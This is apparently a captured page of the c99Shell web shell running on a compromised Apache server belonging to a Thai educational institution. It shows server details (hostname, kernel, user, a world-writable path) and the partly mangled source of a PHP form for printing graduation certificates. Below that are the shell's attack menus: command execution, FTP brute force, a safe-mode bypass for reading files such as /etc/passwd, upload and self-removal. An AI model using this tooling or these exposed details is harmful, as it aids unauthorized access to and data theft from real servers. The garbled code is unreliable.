!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchFSG.php (11.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkTypeSt() {
    if(document.myform.typeSt[0].checked) {
        document.myform.curId.disabled = false;
        document.myform.adY.disabled = false;
        document.myform.studentCode.disabled = true;
    }
    else if(document.myform.typeSt[1].checked) {
        document.myform.curId.disabled = true;
        document.myform.adY.disabled = true;
        document.myform.studentCode.disabled = false;
    }
}

function chkDisabled() {
    document.myform.curId.disabled = false;
    document.myform.adY.disabled = false;
    document.myform.studentCode.disabled = true;
    document.myform.directorPos.disabled = true;
}

function chkDirectorPos() {
    if(document.myform.officerId.value == <?php echo $acPrsIdDirector ;?>)
        document.myform.directorPos.disabled = true;
    else
        document.myform.directorPos.disabled = false;
}

function showHideTmpFinishDate(id) {
    if(document.myform.beforeApprove.checked)
        document.getElementById(id).style.display = "";
    else
        document.getElementById(id).style.display = "none";
}

function chkTypeLang() {
    if(document.myform.typeLang[0].checked || document.myform.typeLang[1].checked) {
        document.myform.lineSpacingEng[0].checked = false;
        document.myform.lineSpacingEng[1].checked = true;
        document.myform.lineSpacingEng[0].disabled = true;
        document.myform.lineSpacingEng[1].disabled = true;
    }
    else {
        document.myform.lineSpacingEng[0].disabled = false;
        document.myform.lineSpacingEng[1].disabled = false;
    }
}
</script>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <table width="100%" align="center" cellpadding="1" cellspacing="1" border="0">
                <tr>
                    <td colspan="2" align="center"><span class="h error">พิมพ์หนังสือรับรองการสำเร็จการศึกษา</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
<?php
                    
echo form_open($this->config->item("rg_folder")."rpt_misc/rptRisFSG", array("name" => "myform""id" => "myform""target" => "_blank"));
?>
                    <table class="szone">
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td><input type="radio" name="typeSt" id="rad1" value="N" checked onClick="return checkTypeSt()" <?php echo ((set_value('typeSt')=='N')? 'checked': ((set_value('typeSt')=='Y')? '''checked'));?>/>
                                <label for="rad1"><b>รายหลักสูตร</b></label></td>
                            </tr>
                            <tr>
                                <td class="coltd_szone">หลักสูตร</td>
                                <td>
<?php
                                $disN 
= (set_value("typeSt")=="N")? "": ((set_value("typeSt")=="Y")? "disabled""");
                                echo 
form_dropdown('curId'$rs_curset_value('curId'),"id=curId $disN");
?>
                                <span class="error">* <?php echo form_error('curId');?></span></td>
                            </tr>
                            <tr>
                                <td class="coltd_szone">ปีการศึกษาที่เข้า</td>
                                <td><input type="text" name="adY" id="adY" value="<?php echo set_value('adY',$acY);?>" size="4" maxlength="5" class="required-int" <?php echo $disN;?>/>
                                <span class="error">* <?php echo form_error('adY');?></span></td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td colspan="2" height="22"><input type="radio" name="typeSt" id="rad2" value="Y" onClick="return checkTypeSt()" <?php echo ((set_value('typeSt')=='Y')? 'checked':'');?>>
                                <font size="2"><b><label for="rad2">รายนักศึกษา</label></b></font></td>
                            </tr>
                            <tr>
                                <td class="coltd_szone">รหัสนักศึกษา</td>
                                <td><input type="text" name="studentCode" id="studentCode" size="20" maxlength="20" disabled class="required-int" <?php echo (set_value('typeSt')=='Y')? '''disabled';?>/>
                                <span class="error">* <?php echo form_error('studentCode');?></span>
                                </td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr >
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22"><b>วันที่สำเร็จการศึกษา</b></td>
                            </tr>
                            <tr>
                                <td colspan="2" height="22"><input type="radio" name="graduateDate" id="radioGraduateDate" value="1" checked>
                                <font size="2"><b><label for="rad2">ใช้วันจบการศึกษาในระบบ</label></b></font></td>
                            </tr>
                            <tr>
                                <td colspan="2">
                                    <input type="radio" name="graduateDate" id="radioGraduateDate" value="2"> <b>ไม่ใช้วันที่จบการศึกษาในระบบ</b>
                                    <input type="date" name="graduateDatePicker" />
                                </td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr >
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22"><b>ปีการศึกษาที่จบ</b></td>
                            </tr>
                            <tr>
                                <td colspan="2" height="22"><input type="radio" name="graduateDateY" id="radioGraduateDateY" value="1" checked>
                                <font size="2"><b><label for="rad2">ใช้ปีการศึกษาที่จบในระบบ</label></b></font></td>
                            </tr>
                            <tr>
                                <td colspan="2">
                                    <input type="radio" name="graduateDateY" id="radioGraduateDateY" value="2"> <b>ไม่ใช้ปีการศึกษาที่จบ</b>
                                    <input type="text" name="graduateYDatePicker" />
                                </td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22" width="10%"><b>ออกให้ ณ วันที่</b></td>
                                <td height="22" width="80%">
                                    <input type="date" name="printDate" required/>
                                </td>
                            </tr>
                        </table></fieldset><br></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22" width="20%"><b>สมทบกับ/Affiliated to</b></td>
                                <td height="22" width="80%">
                                    <input type="text" name="affiliatedTo"  />
                                </td>
                            </tr>
                        </table></fieldset><br></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22" width="10%"><b>แบบฟอร์ม</b></td>
                                <td height="22" width="80%">
                                <br>
                                    <input type="radio" name="typeForm" value="1" checked />แบบที่ 1 <br>
                                    <span style="color:red;">** หนังสือรับรองสำหรับผู้ที่สำเร็จการศึกษาในปีการศึกษาปัจจุบัน</span> <br><br>
                                    <input type="radio" name="typeForm" value="2"  />แบบที่ 2 <br><br>
                                    <span  style="color:red;">** หนังสือรับรองสำหรับผู้ที่สำเร็จการศึกษาหลักสูตรปริญญาที่สภาสถาบันพระบรมราชชนกอนุมัติปริญญาแล้ว</span> <br><br>
                                    <input type="radio" name="typeForm" value="3"  />แบบที่ 3 <br>
                                    <span  style="color:red;">** หนังสือรับรองสำหรับผู้ที่สำเร็จการศึกษาหลักสูตรประกาศนียบัตรที่สภาสถาบันพระบรมราชชนกอนุมัติประกาศนียบัตรแล้ว</span> <br><br>
                                    <input type="radio" name="typeForm" value="4"  />แบบที่ 4 <br>
                                     สภามหาวิทยาลัย: <input type="text" name="academicCollage" ><br>
                                    <span  style="color:red;">** หนังสือรับรองทดแทนสำหรับผู้ที่สำเร็จการศึกษาหลักสูตรปริญญาจากมหาวิทยาลัยสมทบ</span> <br> <br>
                                    <input type="radio" name="typeForm" value="5"  />แบบที่ 5 <br>
                                    <span  style="color:red;">** หนังสือรับรองทดแทนสำหรับผู้ที่สำเร็จการศึกษาหลักสูตรประกาศนียบัตร ก่อนปีการศึกษา 2561</span> <br><br>
                                </td>
                            </tr>
                        </table></fieldset><br></td>
                    </tr>
                    <tr><td style="height:20px;"></td></tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ผู้อำนวยการ/รักษาการแทนผู้อำนวยการ</td>
                        <td>
    <?php
                                
echo form_dropdown('officerId'$rs_ppset_value('officerId',$acPrsIdDirector), "onChange='chkDirectorPos()'");
    
?>
                    </td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ตำแหน่งผู้รักษาการแทนผู้อำนวยการ</td>
                        <td><input type="text" name="directorPos" size="50" disabled></td>
                    </tr>
                <!--
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2"><fieldset>
                        <table width="100%" class="szone">
                            <tr>
                                <td height="22" width="10%"><b>ออกให้ ณ วันที่</b></td>
                                <td height="22" width="80%">
                                    <input type="date" />
                                </td>
                            </tr>
                        </table></fieldset><br></td>
                    </tr>
                    </table>
                    <table>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td align="center" colspan="2">
                        <input type="submit" name="add" id="add" value="ตกลง" />
                        <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                        </td>
                    </tr>
                    </table>
                    <?php echo form_close();?></td>
                </tr>
                -->
                <tr><td style="height:20px;"></td></tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td align="center" colspan="2">
                        <input type="submit" name="add" id="add" value="ตกลง" />
                        <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                        </td>
                    </tr>
            </table></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]--